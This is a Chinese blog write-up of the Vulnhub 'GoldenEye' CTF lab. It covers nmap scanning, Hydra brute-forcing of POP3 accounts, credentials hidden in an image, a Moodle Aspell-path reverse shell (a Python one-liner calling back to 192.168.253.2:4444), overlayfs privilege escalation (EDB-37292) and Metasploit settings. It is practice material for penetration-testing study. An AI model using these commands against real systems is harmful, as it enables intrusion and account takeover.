Vulnhub——1-GoldenEye复现

1-GoldenEye

知识点总结:

1.telnet邮件泄露
2.图片隐写
3.moodle管理员账户远程代码执行
4.Ubuntu 14.04.1版本提权
5.exp overlayfs[EDB-37292] 编译cc执行

描述

级别:中级

最近完成了创建OSCP型易受攻击的计算机的工作,该计算机的主题是伟大的James Bond电影(甚至更好的n64游戏)GoldenEye。目标是root并捕获秘密的GoldenEye代码-flag.txt。我认为它是中级的,它具有root所需的多种技术-没有漏洞利用开发/缓冲区溢出。在完成OSCP之后,我认为这将是一个不错的实践,另外还有一点CTF风味。我已经在VMware和VirtualBox上创建并验证。除了默认情况下,您不需要其他工具。将需要设置为“host only”,并且在VMware上,由于格式化,在最初启动它时,如果出现提示,可能需要单击“重试”。

Beta-2018-05-02 v1-2018-05-04

GoldenEye是由creosote发起并在Vulnhub举办的一项以秘密服务为主题的挑战。GoldenEye是一个CTF样式的框,而不是现实的渗透测试方案。此框需要相当多的“即开即用”的思想,才能找到根源

信息收集

使用kali先进行nmap扫描或者使用netdiscover来获取到对方的ip

nmap -sP 192.168.253.0/24

图片.png
找到对方ip后,进行端口扫描

nmap -p- -Pn -n 192.168.253.4

图片.png
可以看到,除了运行在端口 80 上的 Web 应用程序之外,还有两个 pop3 端口和一个 25的smtp 邮政协议端口。由于目标机器上的端口 80 可用,所以我就先去访问了一下
图片.png

进行getshell

文本中提示“导航到 ”/sev-home/” ,所以我们添加后缀,访问
图片.png
但是提示我们输入密码,但没有获得,所以去检查主页的 html 内容是否有任何有用的提示
图片.png
看到一个名为“terminal.js”的文件,尝试去访问
图片.png
在其他js文件找到一个用户名和经过HTML实体化编码的密码,去解码
图片.png
解压出来之后,用户名和密码都得到了,尝试去登录(注意名字是小写)
图片.png
成功登陆后,主页上提供了一些信息。

“请记住,由于默默无闻的安全性非常有效,我们已将 pop3 服务配置为在非常高的非默认端口上运行”

所以接下来肯定是跟邮件有关系了
再查看下html
图片.png
发现有两个名字

,上面说pop3服务运行在一个非常“高”的非默认端口,那么这两个端口就有可能是有一个是跑着pop3服务的,浏览器访问发现是55007和55006,但只有55007可以访问
图片.png

使用 Hydra 暴力破解 pop3 服务,之前找到的用户名“boris”。Hydra 能够使用 Kali 中的 fasttrack.txt 词表破解密码。

hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.253.4 -s 55007 pop3

图片.png
高亮代表暴力破解成功,该工具已经破解了用户“boris”的密码。
另一个用户“natalya”重复相同的过程

hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.253.4 -s 55007 pop3

图片.png
获得后尝试使用这些凭据登录目标应用程序。我使用 Netcat 实用程序通过 pop3 端口并使用用户“boris”凭据登录到目标服务器。

nc 192.168.253.4 55007    (使用 Netcut 在端口 55007 上连接到目标系统)
USER boris       (使用此命令输入用户名 boris)
PASS secret1!       (使用这个命令输入用户的密码。之后,我们收到了来自目标机器的成功信息,现在我们已经在目标系统上成功认证了)
LIST(用于列出目标系统上可用的所有电子邮件)

所以接下来肯定是跟邮件有关系了
再查看下html
图片.png
发现有两个名字

,上面说pop3服务运行在一个非常“高”的非默认端口,那么这两个端口就有可能是有一个是跑着pop3服务的,浏览器访问发现是55007和55006,但只有55007可以访问
图片.png

使用 Hydra 暴力破解 pop3 服务,之前找到的用户名“boris”。Hydra 能够使用 Kali 中的 fasttrack.txt 词表破解密码。

hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.253.4 -s 55007 pop3

图片.png
高亮代表暴力破解成功,该工具已经破解了用户“boris”的密码。
另一个用户“natalya”重复相同的过程

hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.253.4 -s 55007 pop3

图片.png
获得后尝试使用这些凭据登录目标应用程序。我使用 Netcat 实用程序通过 pop3 端口并使用用户“boris”凭据登录到目标服务器。

nc 192.168.253.4 55007    (使用 Netcut 在端口 55007 上连接到目标系统)
USER boris       (使用此命令输入用户名 boris)
PASS secret1!       (使用这个命令输入用户的密码。之后,我们收到了来自目标机器的成功信息,现在我们已经在目标系统上成功认证了)
LIST(用于列出目标系统上可用的所有电子邮件)

图片.png
发现目标系统上有三封邮件,分别阅读这些电子邮件,看是否有信息
因为没啥信息,所以登陆另一个账号,步骤和上边一样
图片.png
分别阅读这些电子邮件,看是否有信息
当我们看到第二个信息的时候,发现
图片.png
获得到以下信息:

  • 用户名:xenia
  • 密码:RCP90rulez!
  • 域名:severnaya-station.com
  • 网址:severnaya-station.com/gnocertdir

根据信息,需要修改kali的/etc/hosts文件
图片.png
然后使用前面获得的用户名和密码登录http://severnaya-station.com/gnocertdir/
根据之前获得的信息,登陆
图片.png
在查找的时候,发现提到了“用户名”
图片.png
根据之前的密码和应用程序的提示,再次使用 Hydra 实用程序为新识别的用户枚举密码。

hydra -l doak  -P /usr/share/wordlists/fasttrack.txt -f 192.168.253.4 -s 55007 pop3

图片.png
根据信息尝试在 POP 端口上使用这些凭据登录。
图片.png
看邮件发现
用户名:dr_doak
密码:4England!
根据信息,登陆网站
图片.png
我们通过访问,找到一个文件夹
图片.png
从目标机器打开“s3cret.txt”文件。
图片.png
根据提示,访问页面
图片.png
网页上没有找到信息,把它下载下来

wget http://severnaya-station.com/dir007key/for-007.jpg
strings for-007.jpg

图片.png
有一个 base-64 编码的字符串(两个等号表示它是一个 base-64 编码的字符串),解码
图片.png
获得的凭据,可以获得对moodle 的管理员访问权限
用户名 admin
密码 xWinter1995x!
图片.png

以看到应用程序名称是“Moodle”,它使用的是 2.2.3 版本,然后我去找了他的漏洞,发先了挺多姿势
不管使用哪种方法,都要设置。找到下面的拼写检查引擎设置,网站默认使用的是google spell,修改为pspellshell
图片.png

方法一 远程代码执行漏洞

在moodle设置中,有一个用于配置系统路径的设置。Aspell 是可以安装在 Linux 上的拼写检查器,可以在 Moodle 中用于拼写检查操作。每当启动拼写检查操作时,moodle 将调用 Aspell 二进制文件。我们可以编辑 Aspell 的路径来获得一个反向 shell。

开启监听
图片.png
修改了moodle系统路径以指向反向shell有效载荷

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.253.2",4444));os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

一旦正确设置了路径,就可以创建任何博客文章或页面。在编辑器上,可以调用拼写检查功能来获取反向 shell 连接
图片.png
运行id命令时,却显示这不是root用户;这是 www-data 的低权限用户。

使用Python获取一个pty,不然有些命令是无法执行的,。

python -c 'import pty; pty.spawn("/bin/sh")'

虽然是低权限,但是我们可以来到这个目录下/var/www/html/006-final/xvf7-flag
图片.png
这个 key.webm 文件使用了在线元转换器,但一无所获。
所以我查看了它的 gif 版本,并在 xvf7-flag 目录中找到了它:
图片.png
已经貌似夺旗了。。。。。
但是仍然没有 root 访问权限,

提权

通过其他命令来检查目标机器的操作系统和内核版本,是一个Ubuntu 14.04.1 box
容易受到overlayfsEDB-37292攻击
所以
进入tmp 目录——cd /tmp/并下载了这个漏洞使用wget https://www.exploit-db.com/download/37292.c
值得注意的是
目标机器上并没有安装gcc而是cc
所以我想用clang替换gcc,这样它就不会产生这样的错误。
我运行命令将 gcc 替换为 clang:
sed -i ‘s/gcc/clang/g’ 37292.c
说明:s 表示替换/gcc 表示原始单词/clang 表示新单词/g 表示全局替换它表示替换全部。我再次运行它,再次出现 5 个警告但没有错误。
然后 ./a.out
图片.png

方法二 msf

开启msf

msfconsole
 use exploit/multi/http/moodle_cmd_exec 
 show options 

图片.png
可以看出,已经在 Metasploit 中设置了漏洞利用。现在配置执行漏洞所需的数据:

set username admin
set password xWinter1995x!
set rhost severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost 192.168.253.2
set lhost 4444

这里要注意,msf的版本不能太高,该版本会先查询hosts文件把域名转出IP这样就凉凉,网站只容许域名访问(我的太高,就没有成功)

总结

算是一个以ctf形式的靶机,也是我靶机的开端

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发